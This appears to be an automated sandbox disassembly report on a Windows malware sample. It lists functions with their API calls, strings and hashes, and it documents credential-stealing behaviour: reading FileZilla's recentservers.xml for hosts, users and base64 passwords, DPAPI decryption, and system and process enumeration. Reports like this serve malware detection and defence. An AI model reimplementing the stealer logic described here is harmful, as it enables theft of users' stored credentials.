Instruction Fuzzy Hash: D41225759102189BCB15FB61DC56EEE7739AF54308F41419EB10A62091EF38AFC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D1C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0041DC10,0041D73F), ref: 0040D22B
StrCmpCA.SHLWAPI(?,0041DC14), ref: 0040D273
StrCmpCA.SHLWAPI(?,0041DC18), ref: 0040D289
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040D4EE
FindClose.KERNEL32(000000FF), ref: 0040D500

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 0c1f525647dc78e4b5a5153799d3853129c46c836f649ab899957666bc44e21e
Instruction ID: a7e743a2a4f5118c59e4eb5b7e6cabc454f6fbff0e67e47d23a58287cf68124a
Opcode Fuzzy Hash: 0c1f525647dc78e4b5a5153799d3853129c46c836f649ab899957666bc44e21e
Instruction Fuzzy Hash: 63913B72A0020497CB14FFB1EC569EE777DAB84308F41466EF90A96581EE38D788CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 00414570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

GetKeyboardLayoutList.USER32(00000000,00000000,0041D146), ref: 0041459E
LocalAlloc.KERNEL32(00000040,?), ref: 004145B6
GetKeyboardLayoutList.USER32(?,00000000), ref: 004145CA
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0041461F
LocalFree.KERNEL32(00000000), ref: 004146DF

Strings

/ , xrefs: 0041463C

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 400436eb433c64c2ea1cf9b8de64d3b8a84e2537febd559a0550a2d5fd25e1c3
Instruction ID: e4a09482d03fe0ac07b2aa12fe49ef9b635f824a972481fa3f662a7a2871ed61
Opcode Fuzzy Hash: 400436eb433c64c2ea1cf9b8de64d3b8a84e2537febd559a0550a2d5fd25e1c3
Instruction Fuzzy Hash: D5413B74940218ABCB24DF50DC89BEDB775BB54308F2042DAE10A66191DB786FC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB60 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,0041D74E), ref: 0040DBD2
StrCmpCA.SHLWAPI(?,0041DC58), ref: 0040DC22
StrCmpCA.SHLWAPI(?,0041DC5C), ref: 0040DC38
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E306

Strings

\*.*, xrefs: 0040DB7D

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 5cc54f72fd47d2a6e3709197f73b97cb28fc9685986904d88eb85a6650a8bc3f
Instruction ID: 8f23b39e961a58df861ec407c7814dc8b58ae9c3eb94c511c30fb23e96a564a4
Opcode Fuzzy Hash: 5cc54f72fd47d2a6e3709197f73b97cb28fc9685986904d88eb85a6650a8bc3f
Instruction Fuzzy Hash: 88126771A002145ACB14FB61DC56EED7739AF54308F4142AEB50A66091EF389FC8CFE8

Uniqueness

Uniqueness Score: -1.00%

Function 004155A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,>N@,40000001,00000000,00000000), ref: 004155C0

Strings

>N@, xrefs: 004155B8, 00415614, 004155BB, 00415617

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID: >N@
API String ID: 80407269-3381801619
Opcode ID: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction ID: 37622f5e64546725dbf22d4b9568f407ee9b467eb6af981ec2fff7c5b56759cd
Opcode Fuzzy Hash: 718bb6be1b75e617e987197471ae693474da6023ddc0167bf927d0320b7ad6f5
Instruction Fuzzy Hash: 73110D74200A04FFDB10CFA4E844FEB37AABF89310F509549F9098B254D775E881DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00415D00 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00415D1E
Process32First.KERNEL32(0041D599,00000128), ref: 00415D32
Process32Next.KERNEL32(0041D599,00000128), ref: 00415D47
StrCmpCA.SHLWAPI(?,00000000), ref: 00415D5C
CloseHandle.KERNEL32(0041D599), ref: 00415D7A

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction ID: 4a4bbd9776da2ad99231b6c5471aa9e11f786ff18f9e7f574f496e4dc08d41d8
Opcode Fuzzy Hash: f6d0f21b7cc225942ebaf2b71921687e4bacd107d031d79921886f9976f157bb
Instruction Fuzzy Hash: 53012575A00608EBDB24DF94DD58BDEB7B9BF88304F108189E90597250DB749B81CF50

Uniqueness

Uniqueness Score: -1.00%

Function 004144B0 Relevance: 6.0, APIs: 4, Instructions: 32memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,?,02DDA900,00000000,?,0041D758,00000000,?,00000000,00000000,?,02DDB0F0,00000000), ref: 004144C0
HeapAlloc.KERNEL32(00000000), ref: 004144C7
GetTimeZoneInformation.KERNEL32(?), ref: 004144DA
wsprintfA.USER32 ref: 00414514

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction ID: 63b956e3650aea0bdd01ac085b80a838c67200ff8d98e36f2a49cf33a9f6a1bd
Opcode Fuzzy Hash: 3e8ee039c0baa52381bc867147264b9e0472758f99ecf5fc77eb662dd471fe6c
Instruction Fuzzy Hash: C7F06770E047289BDB309B64DD49FA9737ABB44311F0002D5EA0AE3291DB749E858F97

Uniqueness

Uniqueness Score: -1.00%

Function 00409540 Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409564
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409583
LocalFree.KERNEL32(?), ref: 004095AF

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction ID: 845aa5354f8c35be15d3c308e338542aeef751caf2e905b87ee6994bb5fcaacd
Opcode Fuzzy Hash: 22788d86bb0e3b36a7a96175dcc17964957ca332b329b0ec9e9903d4a9c63904
Instruction Fuzzy Hash: 2B11B7B8A00609EFCB04DF94C984AAEB7B5FF88301F104559E915A7390D774AE51CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004143C0 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00401177,02DD4D60,004136EB,0041D6E3), ref: 004143CD
HeapAlloc.KERNEL32(00000000), ref: 004143D4
GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction ID: fd22aaf49eebc4deedfa71bce2fb200d05227bfc9b63873cd8cb515d50d954e6
Opcode Fuzzy Hash: 19f43c5935948d257337b5cfe167422182bb8e9e8b16b88c7073f3e19bcb2857
Instruction Fuzzy Hash: 2CE08CB490070CFFCB20EFE4DC49E9CBBB8AB08312F000184FA09E3280DB7056848B91

Uniqueness

Uniqueness Score: -1.00%

Function 00401120 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
ExitProcess.KERNEL32 ref: 0040113E

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction ID: 30efb513975bfe185fa80fb3a8f84b393628ccfbb0aa9170a1b214bc368b0093
Opcode Fuzzy Hash: 0c78e0eb242a3f19764e03ad46aab426447ce2b04c76b8959ffb9729e3075d63
Instruction Fuzzy Hash: B6D05E7490020C8BCB14DFE09A496DDBBB9AB8D711F001455DD0572240DA305441CA65

Uniqueness

Uniqueness Score: -1.00%

Function 004070E0 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,00413068,?), ref: 004070F4
RtlAllocateHeap.NTDLL(00000000,?,00413068,?), ref: 004070FB
lstrcat.KERNEL32(?,02DBCA58), ref: 004072AB
lstrcat.KERNEL32(?,?), ref: 004072BF
lstrcat.KERNEL32(?,?), ref: 004072D3
lstrcat.KERNEL32(?,?), ref: 004072E7
lstrcat.KERNEL32(?,02DDB628), ref: 004072FB
lstrcat.KERNEL32(?,02DDB7D8), ref: 0040730F
lstrcat.KERNEL32(?,02DDB730), ref: 00407322
lstrcat.KERNEL32(?,02DDB748), ref: 00407336
lstrcat.KERNEL32(?,02DBCAE0), ref: 0040734A
lstrcat.KERNEL32(?,?), ref: 0040735E
lstrcat.KERNEL32(?,?), ref: 00407372
lstrcat.KERNEL32(?,?), ref: 00407386
lstrcat.KERNEL32(?,02DDB628), ref: 00407399
lstrcat.KERNEL32(?,02DDB7D8), ref: 004073AD
lstrcat.KERNEL32(?,02DDB730), ref: 004073C1
lstrcat.KERNEL32(?,02DDB748), ref: 004073D4
lstrcat.KERNEL32(?,02DBCB48), ref: 004073E8
lstrcat.KERNEL32(?,?), ref: 004073FC
lstrcat.KERNEL32(?,?), ref: 00407410
lstrcat.KERNEL32(?,?), ref: 00407424
lstrcat.KERNEL32(?,02DDB628), ref: 00407438
lstrcat.KERNEL32(?,02DDB7D8), ref: 0040744B
lstrcat.KERNEL32(?,02DDB730), ref: 0040745F
lstrcat.KERNEL32(?,02DDB748), ref: 00407473
lstrcat.KERNEL32(?,02DBCBB0), ref: 00407486
lstrcat.KERNEL32(?,?), ref: 0040749A
lstrcat.KERNEL32(?,?), ref: 004074AE
lstrcat.KERNEL32(?,?), ref: 004074C2
lstrcat.KERNEL32(?,02DDB628), ref: 004074D6
lstrcat.KERNEL32(?,02DDB7D8), ref: 004074EA
lstrcat.KERNEL32(?,02DDB730), ref: 004074FD
lstrcat.KERNEL32(?,02DDB748), ref: 00407511
lstrcat.KERNEL32(?,02DDBD70), ref: 00407525
lstrcat.KERNEL32(?,?), ref: 00407539
lstrcat.KERNEL32(?,?), ref: 0040754D
lstrcat.KERNEL32(?,?), ref: 00407561
lstrcat.KERNEL32(?,02DDB628), ref: 00407574
lstrcat.KERNEL32(?,02DDB7D8), ref: 00407588
lstrcat.KERNEL32(?,02DDB730), ref: 0040759C
lstrcat.KERNEL32(?,02DDB748), ref: 004075AF
lstrcat.KERNEL32(?,02DDBDD8), ref: 004075C3
lstrcat.KERNEL32(?,?), ref: 004075D7
lstrcat.KERNEL32(?,?), ref: 004075EB
lstrcat.KERNEL32(?,?), ref: 004075FF
lstrcat.KERNEL32(?,02DDB628), ref: 00407613
lstrcat.KERNEL32(?,02DDB7D8), ref: 00407626
lstrcat.KERNEL32(?,02DDB730), ref: 0040763A
lstrcat.KERNEL32(?,02DDB748), ref: 0040764E

Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020,0041DEB8), ref: 00406FD6
Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020,00000000), ref: 00407018
Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020, : ), ref: 0040702A
Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020,00000000), ref: 0040705F
Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020,0041DEC0), ref: 00407070
Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020,00000000), ref: 004070A3
Part of subcall function 00406FA0: lstrcat.KERNEL32(2F796020,0041DEC4), ref: 004070BD
Part of subcall function 00406FA0: task.LIBCPMTD ref: 004070CB

lstrcat.KERNEL32(?,02DD4BF0), ref: 004077DB
lstrcat.KERNEL32(?,02DDB2F0), ref: 004077EE
lstrlen.KERNEL32(2F796020), ref: 004077FB
lstrlen.KERNEL32(2F796020), ref: 0040780B

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,?,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,02DD4B40), ref: 00404ED9

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$Heap$AllocateInternetOpenProcesslstrcpytask
String ID:
API String ID: 3958002797-0
Opcode ID: aa9ca4fd2235965bbea40617980001ba2e3bd09c50e30e4043da96f5ca8979cb
Instruction ID: 3e78b0701875fb024adfa953bd7607f570b92d72e3b87f8e208063dda3fe5bd2
Opcode Fuzzy Hash: aa9ca4fd2235965bbea40617980001ba2e3bd09c50e30e4043da96f5ca8979cb
Instruction Fuzzy Hash: D33234B6D01A14ABCB35EBA0DC89DDE737DAB48704F404699B20A66090DF78E7C5CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040EA90 Relevance: 73.9, APIs: 32, Strings: 10, Instructions: 363
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

strtok_s.MSVCRT ref: 0040EB5B
GetProcessHeap.KERNEL32(00000000,000F423F,0041D77A,0041D777,0041D776,0041D773), ref: 0040EBA2
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EBA9
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040EBC5
lstrlen.KERNEL32(00000000), ref: 0040EBD3

Part of subcall function 00414FA0: malloc.MSVCRT ref: 00414FA8
Part of subcall function 00414FA0: strncpy.MSVCRT ref: 00414FC3

StrStrA.SHLWAPI(00000000,<Port>), ref: 0040EC0F
lstrlen.KERNEL32(00000000), ref: 0040EC1D
StrStrA.SHLWAPI(00000000,<User>), ref: 0040EC59
lstrlen.KERNEL32(00000000), ref: 0040EC67
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040ECA3
lstrlen.KERNEL32(00000000), ref: 0040ECB5
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040ED42
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED5A
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED72
lstrlen.KERNEL32(00000000,?,?,00000000), ref: 0040ED8A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 0040EDA2
lstrcat.KERNEL32(?,profile: null), ref: 0040EDB1
lstrcat.KERNEL32(?,url: ), ref: 0040EDC0
lstrcat.KERNEL32(?,00000000), ref: 0040EDD3
lstrcat.KERNEL32(?,0041DD34), ref: 0040EDE2
lstrcat.KERNEL32(?,00000000), ref: 0040EDF5
lstrcat.KERNEL32(?,0041DD38), ref: 0040EE04
lstrcat.KERNEL32(?,login: ), ref: 0040EE13
lstrcat.KERNEL32(?,00000000), ref: 0040EE26
lstrcat.KERNEL32(?,0041DD44), ref: 0040EE35
lstrcat.KERNEL32(?,password: ), ref: 0040EE44
lstrcat.KERNEL32(?,00000000), ref: 0040EE57
lstrcat.KERNEL32(?,0041DD54), ref: 0040EE66
lstrcat.KERNEL32(?,0041DD58), ref: 0040EE75
strtok_s.MSVCRT ref: 0040EEB9
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041D772), ref: 0040EECE
memset.MSVCRT ref: 0040EF17

Strings

url: , xrefs: 0040EDB7
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040EAE4
browser: FileZilla, xrefs: 0040ED99
<Pass encoding="base64">, xrefs: 0040EC9A
<User>, xrefs: 0040EC50
profile: null, xrefs: 0040EDA8
login: , xrefs: 0040EE0A
password: , xrefs: 0040EE3B
<Port>, xrefs: 0040EC06
<Host>, xrefs: 0040EBBC

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$AllocFileLocal$Heapstrtok_s$CloseCreateFolderFreeHandlePathProcessReadSizemallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 337689325-555421843
Opcode ID: 70678511e4d900adf04653b634fad5a26cda1234eb381a7a4c8d1102d37f7fcf
Instruction ID: d9186ee441f73b04c887f2efee86d04259a2264df0fa853aa1509dbc15227f06
Opcode Fuzzy Hash: 70678511e4d900adf04653b634fad5a26cda1234eb381a7a4c8d1102d37f7fcf
Instruction Fuzzy Hash: 3FD174B5D00208ABCB14EBF1DD56EEE7739AF44304F50851EF106B6095DF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00415ED0 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,02DBEBF0), ref: 00415F11
GetProcAddress.KERNEL32(74DD0000,02DBECF8), ref: 00415F2A
GetProcAddress.KERNEL32(74DD0000,02DBEE30), ref: 00415F42
GetProcAddress.KERNEL32(74DD0000,02DBEE00), ref: 00415F5A
GetProcAddress.KERNEL32(74DD0000,02DBEC08), ref: 00415F73
GetProcAddress.KERNEL32(74DD0000,02DB6C00), ref: 00415F8B
GetProcAddress.KERNEL32(74DD0000,02DB5F80), ref: 00415FA3
GetProcAddress.KERNEL32(74DD0000,02DB5E00), ref: 00415FBC
GetProcAddress.KERNEL32(74DD0000,02DBED28), ref: 00415FD4
GetProcAddress.KERNEL32(74DD0000,02DBEC20), ref: 00415FEC
GetProcAddress.KERNEL32(74DD0000,02DBEC80), ref: 00416005
GetProcAddress.KERNEL32(74DD0000,02DBEC50), ref: 0041601D
GetProcAddress.KERNEL32(74DD0000,02DB5FA0), ref: 00416035
